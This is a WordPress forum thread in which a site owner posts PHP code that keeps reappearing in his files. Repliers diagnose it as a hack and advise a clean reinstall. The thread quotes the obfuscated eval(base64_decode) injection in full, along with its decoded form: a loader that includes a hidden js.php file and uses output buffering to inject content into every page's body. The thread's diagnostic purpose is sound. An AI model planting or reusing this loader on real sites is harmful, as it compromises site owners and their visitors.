code added to my files by WordPress (I think)

That isn’t WordPress. I grepped my whole install. WP does use eval a few times but nothing like eval(base64 shows up anywhere. I’d suggest a complete re-install from clean sources, and an update if you aren’t using the latest release. Hopefully your DB isn’t compromised. What is your URL? I have a morbid curiousity about base64_encoded strings. ??

bcorson,

your wordpress install is exploited. youve been hacked.

here is a link
https://www.sturbridgelakes.com/FallFestival08/photos/index.php

and here is the full code added
‘<? /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcva3VuZGVuL2hvbWVwYWdlcy8xMy9kMTg3OTI3MjEwL2h0ZG9jcy9TdHVyYnJpZGdlTGFrZXMvc2xhd2ViL3dvcmRwcmVzcy93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvanMucGhwJykpe2luY2x1ZGVfb25jZSgnL2t1bmRlbi9ob21lcGFnZXMvMTMvZDE4NzkyNzIxMC9odGRvY3MvU3R1cmJyaWRnZUxha2VzL3NsYXdlYi93b3JkcHJlc3Mvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19′)); ?>’

This stuff appears and I delete it, but it keeps happening.

This stuff appears and I delete it, but it keeps happening.

Like I said, clean install from fresh sources and you’ve got a software update to contend with as well.

Your Base_64 code decodes to this:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php')){include_once('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}